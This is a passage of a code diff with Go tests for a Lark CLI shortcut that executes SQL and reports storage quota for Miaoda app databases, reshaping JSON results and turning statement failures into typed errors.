"storage_used_bytes": 1048576, "storage_quota_bytes": 10485760, "usage_percent": 10.0,
|
||||
"tables": 4, "views": 1,
|
||||
}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBQuotaGet,
|
||||
[]string{"+db-quota-get", "--app-id", "app_x", "--format", "pretty", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
for _, want := range []string{"Storage", "(10.0%)", "Tables", "4", "Views", "1"} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("missing %q:\n%s", want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 配额未对接(storage_quota_bytes=0)→ json 删 quota/usage_percent,仅留已用量与 tables/views。
|
||||
func TestAppsDBQuotaGet_NoQuotaOmitsFields(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "GET", URL: dbQuotaURL,
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{
|
||||
"storage_used_bytes": 2048, "storage_quota_bytes": 0, "tables": 2, "views": 0,
|
||||
}},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBQuotaGet,
|
||||
[]string{"+db-quota-get", "--app-id", "app_x", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
if strings.Contains(got, "storage_quota_bytes") || strings.Contains(got, "usage_percent") {
|
||||
t.Fatalf("quota fields should be omitted when not provisioned:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "storage_used_bytes") || !strings.Contains(got, "\"tables\"") {
|
||||
t.Fatalf("expected used + tables retained:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestProjectDbQuota_WhitelistsFields 验证 projectDbQuota 白名单投影:只保留 used/tables/views(及配额已对接时的
|
||||
// quota/usage_percent),后端额外字段不透传。
|
||||
func TestProjectDbQuota_WhitelistsFields(t *testing.T) {
|
||||
out := projectDbQuota(map[string]interface{}{
|
||||
"storage_used_bytes": 2048, "storage_quota_bytes": float64(0), "usage_percent": float64(0),
|
||||
"tables": 2, "views": 1, "tenant_key": "leak", "internal_shard": "s1",
|
||||
})
|
||||
if _, ok := out["storage_quota_bytes"]; ok {
|
||||
t.Errorf("zero quota should be omitted: %v", out)
|
||||
}
|
||||
if out["storage_used_bytes"] != 2048 || out["tables"] != 2 || out["views"] != 1 {
|
||||
t.Errorf("whitelisted fields should be kept: %v", out)
|
||||
}
|
||||
for _, leaked := range []string{"tenant_key", "internal_shard"} {
|
||||
if _, ok := out[leaked]; ok {
|
||||
t.Errorf("non-whitelisted field %q must be dropped: %v", leaked, out)
|
||||
}
|
||||
}
|
||||
|
||||
out2 := projectDbQuota(map[string]interface{}{"storage_used_bytes": 2048, "storage_quota_bytes": float64(4096), "usage_percent": float64(50), "tables": 2})
|
||||
if _, ok := out2["storage_quota_bytes"]; !ok {
|
||||
t.Errorf("non-zero quota should be kept: %v", out2)
|
||||
}
|
||||
if _, ok := out2["usage_percent"]; !ok {
|
||||
t.Errorf("usage_percent should be kept when quota>0: %v", out2)
|
||||
}
|
||||
}
|
||||
@@ -12,12 +12,12 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/larksuite/cli/shortcuts/common"
|
||||
)
|
||||
|
||||
// AppsDBExecute executes SQL against an app database.
|
||||
// AppsDBExecute executes SQL against a Miaoda app database.
|
||||
//
|
||||
// POST /apps/{app_id}/sql_commands,CLI 永远带 ?transactional=false 进入 DBA 模式
|
||||
// (不默认包事务、支持 DDL、result 字符串内嵌结构化 JSON)。
|
||||
@@ -31,12 +31,18 @@ import (
|
||||
// - 多语句部分失败:`Statement K: ✗ <message> [<code>]` + 末尾「前序语句已落地」提示
|
||||
//
|
||||
// 失败语义:server 多语句失败仍返 code:0,把失败语句标成 ERROR 哨兵塞进 result。Execute 检测到哨兵
|
||||
// 后按 partial failure 上报(exit 非 0):stdout 输出 ok:false 数据,带 results /
|
||||
// statement_index / error_code / error_message / rolled_back / note,避免 agent 误判
|
||||
// ok:true 假成功。CLI 永远 DBA 模式(transactional=false),失败前的语句已 auto-commit
|
||||
// 落地,故 rolled_back=false(真机 boe 实证)。
|
||||
// 后升级成 typed errs.APIError(CategoryAPI → exit 1),避免 agent 误判 ok:true 假成功。诊断信息
|
||||
// (第几条失败 / 共几条 / 是否整批回滚 / 前序是否落地)写进 message+hint 文案(errs.* 信封扁平、无
|
||||
// detail 容器):失败在用户显式 BEGIN…COMMIT 事务内 → 整批回滚、前序未落库;否则前序语句已逐条
|
||||
// commit、未回滚。rolled_back 语义由 inferRolledBack 按 BEGIN/COMMIT 计数推断。
|
||||
//
|
||||
// JSON envelope(成功路径):CLI 把 server 返的 result 字符串解出来放进 `data.results` 数组。
|
||||
// JSON(成功路径)按 SQL 类型归一化 `data`(不透传后端 result 字符串):
|
||||
// - 单 SELECT → data 是行数组 `[{...}]`(空 → `[]`)
|
||||
// - 单 DML → data = `{command, rows_affected}`
|
||||
// - 单 DDL → data = `{command}`
|
||||
// - 多语句 → data = `[{command:"SELECT",rows:[...]} | {command,rows_affected} | {command}]`
|
||||
//
|
||||
// 字段裁剪用框架原生 --jq/-q。
|
||||
//
|
||||
// Risk: high-risk-write —— SQL 可含 DML/DDL,框架对所有执行强制 --yes 确认关卡(--dry-run 预览豁免)。
|
||||
//
|
||||
@@ -45,51 +51,45 @@ import (
|
||||
var AppsDBExecute = common.Shortcut{
|
||||
Service: appsService,
|
||||
Command: "+db-execute",
|
||||
Description: "Execute SQL (SELECT / DML / DDL) against an app database",
|
||||
Description: "Execute SQL (SELECT / DML / DDL) against a Miaoda app database",
|
||||
Risk: "high-risk-write",
|
||||
Tips: []string{
|
||||
`Example: lark-cli apps +db-execute --app-id <app_id> --sql "SELECT * FROM orders LIMIT 10" --yes`,
|
||||
`Example: lark-cli apps +db-execute --app-id <app_id> --env dev --file ./migration.sql --yes`,
|
||||
"Tip: filter fields with --jq, e.g. -q '.data.results[].sql_type'",
|
||||
`Example: lark-cli apps +db-execute --app-id <app_id> --environment dev --file ./migration.sql --yes`,
|
||||
"Tip: single SELECT returns data as a row array — filter with --jq, e.g. -q '.data[].id'",
|
||||
},
|
||||
Scopes: []string{"spark:app:write"},
|
||||
AuthTypes: []string{"user"},
|
||||
HasFormat: true,
|
||||
Flags: []common.Flag{
|
||||
{Name: "app-id", Desc: "app id", Required: true},
|
||||
Flags: append([]common.Flag{
|
||||
{Name: "app-id", Desc: "Miaoda app id", Required: true},
|
||||
{Name: "sql", Desc: "SQL text; use - to read stdin. Mutually exclusive with --file",
|
||||
Input: []string{common.Stdin}},
|
||||
{Name: "file", Desc: "path to a .sql file (relative to cwd). Mutually exclusive with --sql"},
|
||||
{Name: "env", Default: "dev", Enum: []string{"dev", "online"}, Desc: "target db environment (default dev; use --env online for the online environment)"},
|
||||
},
|
||||
}, dbEnvFlags("dev", []string{"dev", "online"}, "target db environment (default dev; use online for the online environment, or for an app whose DB is not multi-env)")...),
|
||||
Validate: func(ctx context.Context, rctx *common.RuntimeContext) error {
|
||||
if _, err := requireAppID(rctx.Str("app-id")); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := rejectLegacyEnvFlag(rctx); err != nil {
|
||||
return err
|
||||
}
|
||||
sql := strings.TrimSpace(rctx.Str("sql"))
|
||||
file := strings.TrimSpace(rctx.Str("file"))
|
||||
if sql != "" && file != "" {
|
||||
return appsValidationError("--sql and --file are mutually exclusive").
|
||||
WithParams(
|
||||
appsInvalidParam("--sql", "mutually exclusive with --file"),
|
||||
appsInvalidParam("--file", "mutually exclusive with --sql"),
|
||||
)
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--sql and --file are mutually exclusive")
|
||||
}
|
||||
if file != "" {
|
||||
data, err := cmdutil.ReadInputFile(rctx.FileIO(), file)
|
||||
if err != nil {
|
||||
return appsValidationParamError("--file", "--file: %v", err).WithCause(err)
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err)
|
||||
}
|
||||
// 归一化:把文件内容写回 --sql,下游(DryRun/Execute)统一从 sql 取。
|
||||
rctx.Cmd.Flags().Set("sql", string(data))
|
||||
// 仅本地校验非空;不把文件内容写回公开的 --sql flag(避免 SQL 内容进入
|
||||
// flag dump / 结构化日志)。下游 DryRun/Execute 由 resolveExecuteSQL 在用时重新读取。
|
||||
sql = strings.TrimSpace(string(data))
|
||||
}
|
||||
if sql == "" {
|
||||
return appsValidationError("one of --sql or --file is required (use --sql - to read stdin)").
|
||||
WithParams(
|
||||
appsInvalidParam("--sql", "one of --sql or --file is required"),
|
||||
appsInvalidParam("--file", "one of --sql or --file is required"),
|
||||
)
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "one of --sql or --file is required (use --sql - to read stdin)")
|
||||
}
|
||||
return nil
|
||||
},
|
||||
@@ -97,7 +97,7 @@ var AppsDBExecute = common.Shortcut{
|
||||
appID, _ := requireAppID(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
POST(appSQLPath(appID)).
|
||||
Desc("Execute SQL on app database").
|
||||
Desc("Execute SQL on Miaoda app database").
|
||||
Params(buildDBSQLParams(rctx)).
|
||||
Body(buildDBSQLBody(rctx))
|
||||
},
|
||||
@@ -110,27 +110,30 @@ var AppsDBExecute = common.Shortcut{
|
||||
buildDBSQLParams(rctx),
|
||||
buildDBSQLBody(rctx))
|
||||
if err != nil {
|
||||
return withAppsHint(err, "verify table/column names with `lark-cli apps +db-table-get --app-id "+appID+" --table <table>`; for day-to-day debugging target the dev database with `--env dev`")
|
||||
return withAppsHint(err, "verify table/column names with `lark-cli apps +db-table-get --app-id "+appID+" --table <table>`; for day-to-day debugging target the dev database with `--environment dev`")
|
||||
}
|
||||
|
||||
// server `result: string` 内嵌结构化数组 —— CLI 解出来放进 envelope 的 data.results,
|
||||
// server `result: string` 内嵌结构化数组 —— CLI 解出来后按 SQL 类型归一化成 PRD 形态,
|
||||
// 让 json/pretty 路径都基于同一份反序列化产物渲染。
|
||||
stmts := parseSQLResult(common.GetString(raw, "result"))
|
||||
// 注意:data.results 在 json(默认)路径下原样透出全部行,CLI 侧不再二次截断。
|
||||
// 这不是无界 token 黑洞 —— server 对单条 SELECT 结果集有 1000 行硬上限,超出会直接
|
||||
// 返报错(而非静默截断)。需要更大结果集时请在 SQL 里显式 LIMIT/分页,由调用方控制规模。
|
||||
data := map[string]interface{}{"results": stmts}
|
||||
// JSON data 形态(不再透传后端 result 字符串):
|
||||
// - 单 SELECT → data 是行数组 [{...}](空 → [])
|
||||
// - 单 DML → data = {command, rows_affected}
|
||||
// - 单 DDL → data = {command}
|
||||
// - 多语句 → data = [{command:"SELECT",rows:[...]} | {command,rows_affected} | {command}]
|
||||
// 字段裁剪走框架原生 --jq/-q(不引入 miaoda 的 --json <fields>)。
|
||||
// 这不是无界 token 黑洞 —— server 对单条 SELECT 结果集有 1000 行硬上限,超出直接报错
|
||||
// (而非静默截断)。需要更大结果集时请在 SQL 里显式 LIMIT/分页,由调用方控制规模。
|
||||
data := shapeSQLData(stmts)
|
||||
|
||||
// 多语句 / 单语句失败:server 仍返 code:0,把失败语句标成 ERROR 哨兵塞进 result。
|
||||
// 已落地的前序语句 + 失败语句构成 partial failure:逐条结果作为 ok:false 数据
|
||||
// 留在 stdout(机器可读)+ 非零退出信号,别让 agent 误判 ok:true 假成功。
|
||||
// pretty 模式 stdout 只打逐条 ✓/✗ 摘要(不再叠一份 JSON envelope),仅返回退出信号。
|
||||
// 升级成 typed api_error(exit 非 0),别让 agent 误判 ok:true 假成功。
|
||||
// pretty 模式仍把逐条 ✓/✗ 摘要打到 stdout(人看),再返回 error(envelope→stderr)。
|
||||
if errIdx, errStmt, failed := findErrorSentinel(stmts); failed {
|
||||
if rctx.Format == "pretty" {
|
||||
renderSQLPretty(rctx.IO().Out, stmts)
|
||||
return output.PartialFailure(output.ExitAPI)
|
||||
}
|
||||
return rctx.OutPartialFailure(sqlStatementFailurePayload(stmts, errIdx, errStmt), nil)
|
||||
return sqlStatementError(stmts, errIdx, errStmt)
|
||||
}
|
||||
|
||||
rctx.OutFormat(data, nil, func(w io.Writer) {
|
||||
@@ -140,6 +143,70 @@ var AppsDBExecute = common.Shortcut{
|
||||
},
|
||||
}
|
||||
|
||||
// shapeSQLData 把解析出的 statements 归一化成 PRD 约定的 JSON `data` 形态:
|
||||
// - 无语句 → [](空数组)
|
||||
// - 单条语句 → singleStatementJSON(SELECT 是行数组、DML/DDL 是对象)
|
||||
// - 多条语句 → []multiStatementElement(每条统一成 {command,...} 对象,SELECT 行放 rows)
|
||||
//
|
||||
// 不再透传后端 result 字符串(旧形态 data.results[].data 是 JSON 字符串,对 agent 不友好)。
|
||||
func shapeSQLData(stmts []map[string]interface{}) interface{} {
|
||||
if len(stmts) == 0 {
|
||||
return []interface{}{}
|
||||
}
|
||||
if len(stmts) == 1 {
|
||||
return singleStatementJSON(stmts[0])
|
||||
}
|
||||
out := make([]interface{}, 0, len(stmts))
|
||||
for _, s := range stmts {
|
||||
out = append(out, multiStatementElement(s))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// singleStatementJSON 单条语句的 PRD JSON 形态:
|
||||
// - SELECT → 行数组(空 → [])
|
||||
// - DML → {command, rows_affected}
|
||||
// - DDL / OK / 其它 → {command}
|
||||
func singleStatementJSON(s map[string]interface{}) interface{} {
|
||||
sqlType := common.GetString(s, "sql_type")
|
||||
switch {
|
||||
case sqlType == "SELECT":
|
||||
return selectRows(s)
|
||||
case isDMLType(sqlType):
|
||||
return map[string]interface{}{"command": sqlType, "rows_affected": intOrZero(s["affected_rows"])}
|
||||
default:
|
||||
return map[string]interface{}{"command": sqlType}
|
||||
}
|
||||
}
|
||||
|
||||
// multiStatementElement 多语句里单条的 PRD JSON 形态:与单条一致,但 SELECT 包成
|
||||
// {command:"SELECT", rows:[...]}(避免数组里直接嵌套数组造成歧义)。
|
||||
func multiStatementElement(s map[string]interface{}) map[string]interface{} {
|
||||
sqlType := common.GetString(s, "sql_type")
|
||||
switch {
|
||||
case sqlType == "SELECT":
|
||||
return map[string]interface{}{"command": "SELECT", "rows": selectRows(s)}
|
||||
case isDMLType(sqlType):
|
||||
return map[string]interface{}{"command": sqlType, "rows_affected": intOrZero(s["affected_rows"])}
|
||||
default:
|
||||
return map[string]interface{}{"command": sqlType}
|
||||
}
|
||||
}
|
||||
|
||||
// selectRows 把 SELECT statement 的 data 字段(行 JSON 数组字符串)解析成行数组;
|
||||
// 空 / 非法一律返回非 nil 的空数组(保证 JSON 序列化成 [] 而非 null)。
|
||||
func selectRows(s map[string]interface{}) []map[string]interface{} {
|
||||
dataJSON := strings.TrimSpace(common.GetString(s, "data"))
|
||||
if dataJSON == "" || dataJSON == "null" {
|
||||
return []map[string]interface{}{}
|
||||
}
|
||||
var rows []map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(dataJSON), &rows); err != nil || rows == nil {
|
||||
return []map[string]interface{}{}
|
||||
}
|
||||
return rows
|
||||
}
|
||||
|
||||
// findErrorSentinel 在 statements 里找 ERROR 哨兵(server 失败时追加在失败语句位置)。
|
||||
// 返回失败语句下标(0-based)、该 ERROR statement、是否命中。
|
||||
func findErrorSentinel(stmts []map[string]interface{}) (int, map[string]interface{}, bool) {
|
||||
@@ -151,28 +218,48 @@ func findErrorSentinel(stmts []map[string]interface{}) (int, map[string]interfac
|
||||
return 0, nil, false
|
||||
}
|
||||
|
||||
// sqlStatementFailurePayload 把 ERROR 哨兵整理成 partial-failure 的 stdout 数据。
|
||||
// sqlStatementError 把 ERROR 哨兵升级成 typed errs.APIError(CategoryAPI → exit 1)。
|
||||
//
|
||||
// CLI 永远 DBA 模式(transactional=false),真机 boe 实证:失败语句之前的语句已逐条 auto-commit
|
||||
// 落地,不存在外层事务回滚。因此 rolled_back=false、results 含全部逐条结果(ERROR 哨兵在
|
||||
// 失败位置),note 提示用户别整批重跑(否则会重复写入)。
|
||||
func sqlStatementFailurePayload(stmts []map[string]interface{}, errIdx int, errStmt map[string]interface{}) map[string]interface{} {
|
||||
// 多语句失败的诊断信息——第几条失败 / 共几条 / 是否整批回滚 / 前序是否落地——都写进
|
||||
// message + hint 的人类可读文案(errs.* 信封是扁平字段、不带结构化 detail 容器)。文案对齐
|
||||
// miaoda-cli(src/cli/handlers/db/sql.ts、src/api/db/api.ts):
|
||||
// - message 末尾 "(at statement N of M)" 给出失败位置;
|
||||
// - hint 由 inferRolledBack 推断(实测后端把 BEGIN/COMMIT 也作为 statement 返回):
|
||||
// 失败仍在用户显式事务内 → 服务端整批回滚,用 miaoda 原句 "Transaction rolled back; no changes persisted.";
|
||||
// 否则前序语句已逐条 commit、未回滚(flat 信封无逐句 breakdown,故 hint 简述前序已落地 + 从失败处续跑)。
|
||||
func sqlStatementError(stmts []map[string]interface{}, errIdx int, errStmt map[string]interface{}) error {
|
||||
code, msg := parseErrorSentinel(common.GetString(errStmt, "data"))
|
||||
stmtNo := errIdx + 1 // 1-based 给人看
|
||||
note := "no statements were applied; fix the SQL and re-run."
|
||||
if errIdx > 0 {
|
||||
note = fmt.Sprintf(
|
||||
"statements 1-%d were already applied (DBA mode auto-commits each statement); fix statement %d and re-run only the remaining statements.",
|
||||
errIdx, stmtNo)
|
||||
fullMsg := fmt.Sprintf("%s (at statement %d of %d)", msg, stmtNo, len(stmts))
|
||||
|
||||
var hint string
|
||||
switch {
|
||||
case inferRolledBack(stmts[:errIdx]):
|
||||
hint = "Transaction rolled back; no changes persisted."
|
||||
case errIdx > 0:
|
||||
hint = fmt.Sprintf("Earlier statements were committed and not rolled back; fix statement %d and re-run the remaining statements.", stmtNo)
|
||||
default:
|
||||
hint = "No statements were applied; fix the SQL and re-run."
|
||||
}
|
||||
return map[string]interface{}{
|
||||
"results": stmts,
|
||||
"statement_index": errIdx,
|
||||
"error_code": code,
|
||||
"error_message": fmt.Sprintf("%s (at statement %d of %d)", msg, stmtNo, len(stmts)),
|
||||
"rolled_back": false,
|
||||
"note": note,
|
||||
return errs.NewAPIError(errs.SubtypeServerError, "%s", fullMsg).WithCode(code).WithHint("%s", hint)
|
||||
}
|
||||
|
||||
// inferRolledBack 推断失败时是否处于用户显式事务内(→ 服务端整批回滚)。
|
||||
// 遍历已完成语句的 sql_type:BEGIN/START TRANSACTION +1,COMMIT/ROLLBACK/END -1;
|
||||
// 结束 depth>0 说明事务还开着、已被服务端回滚。对齐 miaoda-cli inferRolledBack。
|
||||
func inferRolledBack(completed []map[string]interface{}) bool {
|
||||
depth := 0
|
||||
for _, s := range completed {
|
||||
switch strings.ToUpper(strings.TrimSpace(common.GetString(s, "sql_type"))) {
|
||||
case "BEGIN", "START TRANSACTION", "START_TRANSACTION":
|
||||
depth++
|
||||
case "COMMIT", "ROLLBACK", "END":
|
||||
if depth > 0 {
|
||||
depth--
|
||||
}
|
||||
}
|
||||
}
|
||||
return depth > 0
|
||||
}
|
||||
|
||||
// parseErrorSentinel 解析 ERROR 哨兵的 data(`{code,message}` JSON),返回数值 code 与 message。
|
||||
@@ -205,15 +292,34 @@ func parseErrorSentinel(data string) (int, string) {
|
||||
// CLI 永远走 DBA 模式,原子性由用户在 SQL 内显式 BEGIN/COMMIT 控制;不暴露 transactional flag 给用户。
|
||||
func buildDBSQLParams(rctx *common.RuntimeContext) map[string]interface{} {
|
||||
return map[string]interface{}{
|
||||
"env": rctx.Str("env"),
|
||||
"env": dbEnv(rctx),
|
||||
"transactional": false,
|
||||
}
|
||||
}
|
||||
|
||||
// buildDBSQLBody 构造 sql 接口的 body:仅 sql(来源由 Validate 归一化到 --sql)。
|
||||
// resolveExecuteSQL 返回要执行的 SQL,在用时(DryRun/Execute)现读,使 --file 的内容
|
||||
// 不被写回公开的 --sql flag(避免泄露进 flag dump / 结构化日志)。优先 --sql(内联或 stdin,
|
||||
// 已由输入框架解析到 flag 值);否则现读 --file。Validate 已先行校验可读且非空。
|
||||
func resolveExecuteSQL(rctx *common.RuntimeContext) (string, error) {
|
||||
if strings.TrimSpace(rctx.Str("sql")) != "" {
|
||||
return rctx.Str("sql"), nil
|
||||
}
|
||||
file := strings.TrimSpace(rctx.Str("file"))
|
||||
if file == "" {
|
||||
return "", nil
|
||||
}
|
||||
data, err := cmdutil.ReadInputFile(rctx.FileIO(), file)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(data), nil
|
||||
}
|
||||
|
||||
// buildDBSQLBody 构造 sql 接口的 body:仅 sql(由 resolveExecuteSQL 在用时解析,--file 不入 flag)。
|
||||
func buildDBSQLBody(rctx *common.RuntimeContext) map[string]interface{} {
|
||||
sql, _ := resolveExecuteSQL(rctx)
|
||||
return map[string]interface{}{
|
||||
"sql": rctx.Str("sql"),
|
||||
"sql": sql,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -354,10 +460,10 @@ func renderMultiStatementPretty(w io.Writer, stmts []map[string]interface{}) {
|
||||
}
|
||||
fmt.Fprintln(w)
|
||||
if failedIdx >= 0 {
|
||||
// CLI 永远 DBA 模式(transactional=false),失败语句之前的语句已 auto-commit 落地,
|
||||
// 不存在整批回滚 —— 如实告诉用户,避免整批重跑导致重复写入。
|
||||
// CLI 永远传 transactional=false,失败语句之前的语句已逐条 commit 落地、不会整批回滚——
|
||||
// 如实告诉用户,避免整批重跑导致重复写入。
|
||||
if successCount > 0 {
|
||||
fmt.Fprintf(w, "(statement %d failed; %d statement%s before it already applied — DBA mode auto-commits each)\n",
|
||||
fmt.Fprintf(w, "(statement %d failed; %d statement%s before it committed and not rolled back)\n",
|
||||
failedIdx+1, successCount, plural(int64(successCount)))
|
||||
} else {
|
||||
fmt.Fprintf(w, "(statement %d failed; no statements applied)\n", failedIdx+1)
|
||||
@@ -461,6 +567,7 @@ func isDMLType(sqlType string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// dmlVerb 把 DML sql_type 映射成过去分词动词:INSERT→inserted / UPDATE→updated / DELETE→deleted / MERGE→merged,未知 → affected。
|
||||
func dmlVerb(sqlType string) string {
|
||||
switch strings.ToUpper(sqlType) {
|
||||
case "INSERT":
|
||||
@@ -475,6 +582,7 @@ func dmlVerb(sqlType string) string {
|
||||
return "affected"
|
||||
}
|
||||
|
||||
// plural 返回英文复数后缀:n==1 时空串,否则 "s"。
|
||||
func plural(n int64) string {
|
||||
if n == 1 {
|
||||
return ""
|
||||
|
||||
@@ -5,17 +5,18 @@ package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
func TestAppsDBExecute_SingleSELECTJSONEnvelopeWrapsResults(t *testing.T) {
|
||||
// TestAppsDBExecute_SingleSELECTJSONIsRowArray 断言单条 SELECT 的 JSON data 直接是行数组(不再透传 result 字符串)。
|
||||
func TestAppsDBExecute_SingleSELECTJSONIsRowArray(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
@@ -33,27 +34,134 @@ func TestAppsDBExecute_SingleSELECTJSONEnvelopeWrapsResults(t *testing.T) {
|
||||
factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
// JSON envelope 应该把 result 字符串 parse 之后放进 data.results
|
||||
// PRD 单 SELECT:data 直接是行数组(不再是 data.results[].data 字符串)
|
||||
var env struct {
|
||||
Data struct {
|
||||
Results []map[string]interface{} `json:"results"`
|
||||
} `json:"data"`
|
||||
Data []map[string]interface{} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode envelope: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if len(env.Data.Results) != 1 {
|
||||
t.Fatalf("data.results = %d items (want 1)", len(env.Data.Results))
|
||||
if len(env.Data) != 1 {
|
||||
t.Fatalf("data = %d rows (want 1)\n%s", len(env.Data), stdout.String())
|
||||
}
|
||||
if env.Data.Results[0]["sql_type"] != "SELECT" {
|
||||
t.Fatalf("results[0].sql_type = %v", env.Data.Results[0]["sql_type"])
|
||||
if env.Data[0]["id"] != float64(101) || env.Data[0]["total_cents"] != float64(2500) {
|
||||
t.Fatalf("data[0] = %v, want {id:101,total_cents:2500}", env.Data[0])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_SingleDMLJSONShape 断言单条 DML 的 JSON data 形如 {command, rows_affected}。
|
||||
func TestAppsDBExecute_SingleDMLJSONShape(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/sql_commands",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"result": `[{"sql_type":"INSERT","data":"","affected_rows":3}]`,
|
||||
},
|
||||
},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBExecute,
|
||||
[]string{"+db-execute", "--yes", "--app-id", "app_x", "--sql", "insert", "--as", "user"},
|
||||
factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
// PRD 单 DML:data = {command, rows_affected}
|
||||
var env struct {
|
||||
Data struct {
|
||||
Command string `json:"command"`
|
||||
RowsAffected int `json:"rows_affected"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if env.Data.Command != "INSERT" || env.Data.RowsAffected != 3 {
|
||||
t.Fatalf("data = %+v, want {command:INSERT, rows_affected:3}", env.Data)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_SingleDDLJSONShape 断言单条 DDL 的 JSON data 形如 {command}。
|
||||
func TestAppsDBExecute_SingleDDLJSONShape(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/sql_commands",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"result": `[{"sql_type":"CREATE_TABLE","data":"[]"}]`,
|
||||
},
|
||||
},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBExecute,
|
||||
[]string{"+db-execute", "--yes", "--app-id", "app_x", "--sql", "create", "--as", "user"},
|
||||
factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
// PRD 单 DDL:data = {command}
|
||||
var env struct {
|
||||
Data struct {
|
||||
Command string `json:"command"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if env.Data.Command != "CREATE_TABLE" {
|
||||
t.Fatalf("data.command = %q, want CREATE_TABLE", env.Data.Command)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAppsDBExecute_MultiStatementJSONShape 断言多语句的 JSON data 是元素数组,且 SELECT 包成 {command:"SELECT", rows:[...]}。
|
||||
func TestAppsDBExecute_MultiStatementJSONShape(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/sql_commands",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"result": `[` +
|
||||
`{"sql_type":"INSERT","data":"","affected_rows":1},` +
|
||||
`{"sql_type":"SELECT","data":"[{\"id\":999}]","record_count":1}` +
|
||||
`]`,
|
||||
},
|
||||
},
|
||||
})
|
||||
if err := runAppsShortcut(t, AppsDBExecute,
|
||||
[]string{"+db-execute", "--yes", "--app-id", "app_x", "--sql", "x", "--as", "user"},
|
||||
factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
// PRD 多语句:data 是元素数组;SELECT 包成 {command:"SELECT", rows:[...]}
|
||||
var env struct {
|
||||
Data []map[string]interface{} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &env); err != nil {
|
||||
t.Fatalf("decode: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if len(env.Data) != 2 {
|
||||
t.Fatalf("data = %d elements (want 2)\n%s", len(env.Data), stdout.String())
|
||||
}
|
||||
if env.Data[0]["command"] != "INSERT" || env.Data[0]["rows_affected"] != float64(1) {
|
||||
t.Fatalf("data[0] = %v, want {command:INSERT, rows_affected:1}", env.Data[0])
|
||||
}
|
||||
if env.Data[1]["command"] != "SELECT" {
|
||||
t.Fatalf("data[1].command = %v, want SELECT", env.Data[1]["command"])
|
||||
}
|
||||
rows, ok := env.Data[1]["rows"].([]interface{})
|
||||
if !ok || len(rows) != 1 {
|
||||
t.Fatalf("data[1].rows = %v, want 1 row", env.Data[1]["rows"])
|
||||
}
|
||||
}
|
||||
|
||||
